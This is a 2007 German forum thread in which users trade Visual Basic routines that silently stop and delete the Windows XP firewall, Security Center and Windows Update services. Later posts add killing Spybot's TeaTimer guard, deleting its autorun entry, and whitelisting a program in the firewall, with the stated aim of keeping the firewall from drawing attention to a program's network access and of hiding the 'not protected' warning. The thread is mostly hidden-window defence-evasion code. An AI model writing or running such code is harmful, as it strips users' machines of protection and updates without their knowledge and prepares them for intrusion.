|
| Autor |
Nachricht |
Nexos_
Tutorial Leser
Anmeldedatum: 02.03.2007
Beiträge: 23
|
WinXP Firewall deaktivieren
Verfasst am: 26.04.2007, 14:07 |
|
|
| Code: | Private Function disablewinfw()
Shell "cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide
Shell "cmd.exe /c net stop SharedAccess", vbHide
Shell "reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide |
 |
|
| |
|
 |
ringwrath-4_
Newbie
Anmeldedatum: 12.04.2007
Beiträge: 18
|
Verfasst am: 26.04.2007, 19:33 |
|
|
schon nett.
Aber wozu soll man die WinDoof Firewall deaktivieren?! Die taugt doch sowieso nix xD
 |
|
| |
|
|
Nexos_
Tutorial Leser
Anmeldedatum: 02.03.2007
Beiträge: 23
|
Verfasst am: 26.04.2007, 19:55 |
|
|
Sie will immer wissen, ob du das Prog aufs Internet zugreifen lassen willst, bischen auffällig...
|
|
| |
|
|
TheCoder_
Überflieger
Anmeldedatum: 31.12.2006
Beiträge: 359
Wohnort: Essen
|
Verfasst am: 26.04.2007, 20:26 |
|
|
aber wenn man sie ausschaltet dann kommt ebn auch diese meldung unten im systray:
achtung ihre WIndoof Firewall is am abspacken (oder was auch immer da stehen mag)
btw: ich muss au ma meinen senf dazugeben: http://uploaded.to/?id=ulqo2p
so da könnt ihr auch gleich noch ports freischalten. ich denke dank klasse und modulen leicht in jedes Projekt übertragbar. Wer fragen hat soll fragen aber keine antwort erwarten da es auch ncih mein source is ^^
 |
|
| |
|
|
ringwrath-4_
Newbie
Anmeldedatum: 12.04.2007
Beiträge: 18
|
Verfasst am: 27.04.2007, 09:50 |
|
|
Das geht noch einfacher:
so schaltet man das """sicherheitscenter""" von Windows aus:
| Code: | Shell "cmd /c sc stop wscsvc", vbhide
Shell "cmd /c sc delete wscsvc", vbhide |
|
|
| |
|
|
sirius:root_
Newbie
Anmeldedatum: 28.09.2007
Beiträge: 17
|
Verfasst am: 14.10.2007, 14:15 |
|
|
| Nexos hat Folgendes geschrieben: | | Code: | Private Function disablewinfw()
Shell "cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide
Shell "cmd.exe /c net stop SharedAccess", vbHide
Shell "reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide |
|
Und wie aktiviert man die FW dann wieder?
Mein Problem sind ann hauptsächlich die Reg-Schlüssel.
Gruß sirius |
|
| |
|
|
Five-Three-Nine_
Tutorial Leser
Anmeldedatum: 23.06.2007
Beiträge: 34
|
Verfasst am: 14.10.2007, 20:26 |
|
|
Geht auch einfacher:
| Code: |
Dim XPFirewall As Object
Dim XPFirewallpolicy As Object
Set XPFirewall = CreateObject("HNetCfg.FwMgr")
Set XPFirewallpolicy = XPFirewall.LocalPolicy.CurrentProfile
XPFirewallpolicy.FirewallEnabled = False
|
Aktivieren geht auch wieder.
Einfach Wert auf True setzen. |
|
| |
|
|
King of Chaos_
Coder
Anmeldedatum: 26.09.2007
Beiträge: 235
|
Verfasst am: 16.10.2007, 16:30 |
|
|
| ringwrath-4 hat Folgendes geschrieben: | Das geht noch einfacher:
so schaltet man das """sicherheitscenter""" von Windows aus:
| Code: | Shell "cmd /c sc stop wscsvc", vbhide
Shell "cmd /c sc delete wscsvc", vbhide |
|
lol nein es löscht es soviel ich weis ^^ |
|
| |
|
|
bluespoon_
Tutorial Leser
Anmeldedatum: 11.11.2007
Beiträge: 22
|
Vista?
Verfasst am: 19.11.2007, 09:51 |
|
|
Hm ... nett 
Und wie sieht das ganze bei Vista aus.
Wie ich feststelle, welches System installiert
ist, resp. welche Windows Version ist mir
bekannt. Nun wäre es ganz cool zu wissen,
wie man dort die FW ausschalten kann.
Und wenn ich schonmal nachfrage, dann auch richtig:
Wer jetzt noch eine Ahnung hat, welches handle
ich unterdrücken muss um die Warnmeldung zu
umgehen "Ihr System ist momentan nicht geschützt...",
den bete ich virmal am Tag laut an!!!
Gruß,
bluespoon |
|
| |
|
|
killer110_
Poster
Anmeldedatum: 16.04.2007
Beiträge: 165
|
Verfasst am: 19.11.2007, 12:27 |
|
|
| TheCoder hat Folgendes geschrieben: | aber wenn man sie ausschaltet dann kommt ebn auch diese meldung unten im systray:
achtung ihre WIndoof Firewall is am abspacken (oder was auch immer da stehen mag)
btw: ich muss au ma meinen senf dazugeben: http://uploaded.to/?id=ulqo2p
so da könnt ihr auch gleich noch ports freischalten. ich denke dank klasse und modulen leicht in jedes Projekt übertragbar. Wer fragen hat soll fragen aber keine antwort erwarten da es auch ncih mein source is ^^ |
Datei existiert nicht (durch Admin-Panel gelöscht oder falsche ID).
 |
|
| |
|
|
toilette_
Coder
Anmeldedatum: 20.10.2007
Beiträge: 86
|
Verfasst am: 19.11.2007, 13:49 |
|
|
| Code: | Option Explicit
' Set constants
Const NET_FW_PROFILE_DOMAIN = 0
Const NET_FW_PROFILE_STANDARD = 1
' Scope
Const NET_FW_SCOPE_ALL = 0
' IP Version – ANY is the only allowable setting for now
Const NET_FW_IP_VERSION_ANY = 2
' Declare variables
Dim errornum
' Create the firewall manager object.
Dim fwMgr
' Get the current profile for the local firewall policy.
Dim profile
Dim app
Private Sub Command1_Click()
Set fwMgr = CreateObject("HNetCfg.FwMgr")
Set profile = fwMgr.LocalPolicy.CurrentProfile
Set app = CreateObject("HNetCfg.FwAuthorizedApplication")
'##############WICHTIG################
app.ProcessImageFileName = "C:\Dokumente und Einstellungen\****\Eigene Dateien\klo.exe"
app.Name = "klo.exe"
'#####################################
app.Scope = NET_FW_SCOPE_ALL
' Use either Scope or RemoteAddresses, but not both
'app.RemoteAddresses = "*"
app.IpVersion = NET_FW_IP_VERSION_ANY
app.Enabled = True
' Use this line if you want to add the app, but disabled.
'app.Enabled = FALSE
On Error Resume Next
errornum = 0
profile.AuthorizedApplications.Add app
End Sub |
das funktioniert
Zuletzt bearbeitet von toilette_ am 20.08.2009, 16:07, insgesamt einmal bearbeitet |
|
| |
|
|
bluespoon_
Tutorial Leser
Anmeldedatum: 11.11.2007
Beiträge: 22
|
Re.
Verfasst am: 19.11.2007, 14:02 |
|
|
Wo funktioniert's? Vista? Kann ich grad net testen bei der
Arbeit  Aber ich bin auch fündig geworden - bei Microsoft
auf der Homepage 
http://msdn2.microsoft.com/en-us/library/aa366415.aspx
Edit: Da erfährt man auch, wie man seine Anwendungen
als "akzeptiert" eintragen kann. |
|
| |
|
|
nigolauder_
Newbie
Anmeldedatum: 12.11.2007
Beiträge: 14
|
Verfasst am: 12.12.2007, 22:38 |
|
|
| King of Chaos hat Folgendes geschrieben: | | ringwrath-4 hat Folgendes geschrieben: | Das geht noch einfacher:
so schaltet man das """sicherheitscenter""" von Windows aus:
| Code: | Shell "cmd /c sc stop wscsvc", vbhide
Shell "cmd /c sc delete wscsvc", vbhide |
|
lol nein es löscht es soviel ich weis ^^ |
ja leider , habs ausprobiert funktioniert viel zu gut. weiß jemand wie man das Sichrheitscenter wiederherstellen kann? Hab wscsvc aus der reg exportiert und hab es nachdem es gelöscht war wieder eingesetzt, aber das SC geht immer noch nicht.
hab die Funktion mal so zusammen verändert, dass die firewall unbrauchbar wird.
| Zitat: | Private Function disablewinfw()
Shell "cmd /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide
Shell "cmd /c sc stop SharedAccess", vbHide
Shell "reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd /c sc delete SharedAccess", vbHide
Shell "cmd /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd /c sc stop wscsvc", vbHide
Shell "cmd /c sc delete wscsvc", vbHide
End Function |
|
|
| |
|
|
King of Chaos_
Coder
Anmeldedatum: 26.09.2007
Beiträge: 235
|
Verfasst am: 12.12.2007, 23:15 |
|
|
naja wenn man zuvor von Shell ("tskill Teatimer") macht dann dürte das gehen ^^
scheiss Spybot Blockt das sicher
ausserdem nigolauder du kannst das sicherheitscenter durch Spybot Search & Destroy Zurücksetzen durch nen Normalen scann ^^ |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 13.12.2007, 00:14 |
|
|
| Wie siehts bei Vista aus? Gibts da auch was? |
|
| |
|
|
King of Chaos_
Coder
Anmeldedatum: 26.09.2007
Beiträge: 235
|
Verfasst am: 13.12.2007, 19:03 |
|
|
| um die firewall zu beenden oder was meinste? |
|
| |
|
|
nigolauder_
Newbie
Anmeldedatum: 12.11.2007
Beiträge: 14
|
Verfasst am: 13.12.2007, 19:23 |
|
|
| Code: | Private Function disablewinfw()
Shell "cmd /c tskill Teatimer"
Shell "cmd /c reg delete " & Chr(34) & "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" & Chr(34) & " /v ""SpybotSD TeaTimer"" /f"
Shell "cmd /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide
Shell "cmd /c sc stop wscsvc", vbHide
Shell "cmd /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd /c sc delete wscsvc", vbHide
Shell "cmd /c sc stop SharedAccess", vbHide
Shell "reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
Shell "cmd /c sc delete SharedAccess", vbHide
Shell "cmd /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide
End Function |
So stört der TeaTimer von SpyBot auch nicht mehr. |
|
| |
|
|
Registrieren
Login
